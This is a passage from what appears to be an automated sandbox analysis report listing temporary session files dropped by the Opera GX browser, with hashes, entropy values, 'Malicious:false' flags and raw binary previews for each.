                                                                                                                                                                                                              Preview:........XWsAyXYLy3IQ+r+eqJ0ix9bJaBFnIoDTQYvu1gxvz4z0=..... ^.B.n.....QW......'H.....,....T......j=pj.T...1&.......}X..2)......$..z...\"t.....N..N.e...TV7..ea..l...=..}C|,D..).Q`.y.. .AH.O............:..p....../.z..V.Z ....h............G..!..Y.Z.#\-_.+].F........$7....Z...:7a...Y[@..`.....k....w......KO..B.:.i...,.5....Q.....K.....@n....y...G4..h.8.?....K......9!....TG\..-....bmx..\u%.<D ....;t.^.....y.a.]...EC.#q..['.......!j.|. K.9.r..P...V_k.X.q.y.)Ui....(O=G..n.gF..$fJ...8.$y...u<....r9&..'.......6.M..S..3.b..........g.....aa.....XCp|=........&.A.}.....N..0.y..9.w..);[.fMq.w............y..[.[.'..o.!..... .0.3...%\..4 ....A....,./...{.O..(..........{1..G...O....P.[.....o......j.....r.d.....xytk.l[..K..*M..K<.*J.Sv..../.F.......N......%]q....^..:.hm..................>7.E..p..........l.F.M....mh...y6q...$Xl..T.b..}xN_u._hL<..xy.0+O..@..$(T.T.5.u ..)._..T..(..oX.rI>1..{...Ok...".<..q`.....b...ns2L&..(.b.vqK%7......n....g..S....$.Qr....8..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\fcfe8479-7ea6-4491-80a9-33ab6b916f8d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.979095280732657
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5D45D591E3D40F2B6F140F0D14AB510F
                                                                                                                                                                                                              SHA1:A6247816173ED334462C10594C0701CFD07E3409
                                                                                                                                                                                                              SHA-256:FDE3FA91640F45BB98306D88D5BEAEFC97011D2895CB5100419BE05566CEEB70
                                                                                                                                                                                                              SHA-512:F29E90A3B33A4121055EF1385BB0B51D38495E4D3398C4627A2E3E1B34258CE0DAF7F499CFFE35FE4FAE87EDB1E9260201BB6E4D90333B876D5E12560264D336
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XnUtPwZXC3PgANdBrVpl0g9VANhTB+BYzXTC6ceYDlfY=.......?.F~.......wI....%:.cpvt)...%.F..Wr...a..+...1.....B..<P.2..Y..(N@.y..P._.F>}u..j......"R<QLg...XZW....H .W..ih......N..&.3B@...@...<`K..,..}x..iW.l%..Ci...3.+?.7..g ..FF#...&.C.J.Jo...N..B.`u.$.v.nc-...=......=?i1....-...B.....[+.... .L...>.K....{...q..,.U.+.L$3<.H`.f.)..:.~..*.s.....J.....G6...>.....9..)..y...P..^j.....M_....y!..FE^U~d?2.F...$..x..5..J......XVju.&...0..fH.J..5J<.....iZ..F.|...6...Z..J.......%...\@FY.....E...&.#6.Z./i.H.....nX...R......J....Q.%...c.|...Xh.S=.mF.$...W]..2-.G.L.......0s..L.%J..u...... PP....s.iR..I..(..............A.5..%.3..XL.."y....U'...v.ZtY''..b.9f.o....o.&2[......9..5<m$.a...}(^...EW9TV.....&R).......f`..I.B%7.OP....d..f5S..4...Q.q.C>..-.....O."._..k........`.sJ.r.....g...ID.q..hu....tw.|.@I.9C.X..s.g ...U......k.?...'.t.{S..5..|....F..A}.u.............\mHm..xU........hw.S.1.3{...,.y./....rZ.c..gR*5r....1*.224|E...p..0A......R.71..F8.%.5.d&

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\fe93cb7d-49f5-4d38-bde2-d1e2a9451bd7.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.982641684206767
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2FF01B06A0F59977EF17E24604D1B90D
                                                                                                                                                                                                              SHA1:24EAF0865F63FA9B160700AE1045CF23B52C8217
                                                                                                                                                                                                              SHA-256:0524907180E1818507125E887E4ED1AA067E7E92B88E61DE3A6EF5E04ADF5CEF
                                                                                                                                                                                                              SHA-512:757073F82DE6779776DDB1A2F73F5825CF04C6B91D26167E9861DBB6D935640B8357FB939ACE7BC8BABDEEC99CF20EB5CA2C26476B20B67EC984BF3558524EF5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X4qpW7oEMvKXzOpt8GZzK2X+MjRg/oEAhOffvwD9IupY=.......P..<..z........".)p..5U........?3,.Q.....".`].t...........M.nx........, ...Ng&p0.4..)YJT6..........6._.X....Q7.N.F.X..\k.......2...Q#.1V...7Y.....a.......q|vb.[B._...(...$J.......a...8_.x.....|."z.Ip..=D..Kp...`.).t...-.....o.1=..}O..k..<..7...:t.u.~....B........7Zv^R.{pT..D..T.v..\'.E=...Oj5=..P.V.|.G..9*...*..._.......5[.a3...P.....JN......`.(h.QK..z6..=..V.f......>-xK.24..#..II%..V.. Y.....9.kG...VoQ........].H.K92$.RtSL.@&.2.X.....]|.2...]U.s...m._.M.Y...(..............z..].!P......?.......j..y>....t.KF...*Q{.N.v.....H.d($0.....!X..A...r...XC).1f.ak.......r".~.|....)....C...=O......N..P_G...E.U4.a...#...Vf./.r4.S.-5iU.CB]'.#+.ni.\I....m.CRa...*.V... .i...F;.W.......J.3~.@|.a....fu...L..6Sk....v..!.].-#.W..cR..e. ^.y2..q$j.../.>.......^......Y..ke..........h......s.C9@...5..*..k..m..;c...l8.8.['p..#.........X0..!..%..^.%..P..:.......l.u..K.).;...5...g.-.Q......Z....~..LN..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ff574eca-ed5a-424a-9817-d2214b7bc020.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.979855591220349
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:683BA84F65CBE26D5EEAF59B93964003
                                                                                                                                                                                                              SHA1:CE2BF3295B0EBBA3286F0366BBCBA2ACE2CE9F4E
                                                                                                                                                                                                              SHA-256:EE245098DE1EA5C60FD3F807A9F5D3F3DB2C654B4C08F8A2F82717D95774D93A
                                                                                                                                                                                                              SHA-512:9A1E28D316F7CEC7EA07EC1DA1D1B15C39E84566196895E0DAB58FDD94B66D7D1908D08568A102CA9CDA6B586BC14C4863DE892E95883AA518BC7962629942FF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XKTDBx23vv724NP+XWkOWMqtrhyA74YvYYmLdTHNbliI=...........:ix.g.8.....O[.-.?.{.{N/..{;..|..h.....z....>X..+4..{.I...o.......D.!..$&u....!..T.....}(I7?..`R..]\..[\.;;....~.T...a.G...q.U....+VC..5.7|.{...B..`...v=]......._m4.D......v].[y.[.zE...m...;vaNkz.g...:.*U...Q..g5.D.6....c.........-..}...j....kq..E`z.&..".0..r{5Z...0."Bt......7}""8...b......?....I..@.Q...O.b...Q..1.:...@..,c m...}...?h-....>...f0..w.-..$.t.2...*.>....).^K.O.b?..Re...:..%`.1..Y.d.u#......>.VfI...3y.....%.....;U.6i..=.d.}S.7..8...'].v..u%.R.4.PB.~8. .R...j.s..2n..<..aL...Y`.....%."..o... .I.._.[..[MC&W....{/(q...Uf...^...%.8....w..#.c...5eP...E....Gx...Q..rY.o..@)~E..$$.A...../LK.u5%.L......GA~...vznL..(.+.B..M.......dl/..b.!...^.h[".ZZ.A(.E$..@.d%i..@.Mu.b.OL.Va5M.Pl.F.....|.k.*=....r[]D..8Q..Cc....F..V.|.y.+.?.%B..i....A$F.2..wL.8..EV...S.w.y.B......v..2w.p.%sL 1..V#.]Xe.!2#j..arS.../...b;..M.v3.J...7...Q..[.V....2S..hq....R.y........eT.N....w..W.E.X

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6cea.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6cf9.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6d57.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6db5.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6dd4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6de4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6e13.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6e22.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6e51.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6e90.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6ece.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d6fa9.TMP (copy)

                                                                                                                                                                                                              Download File
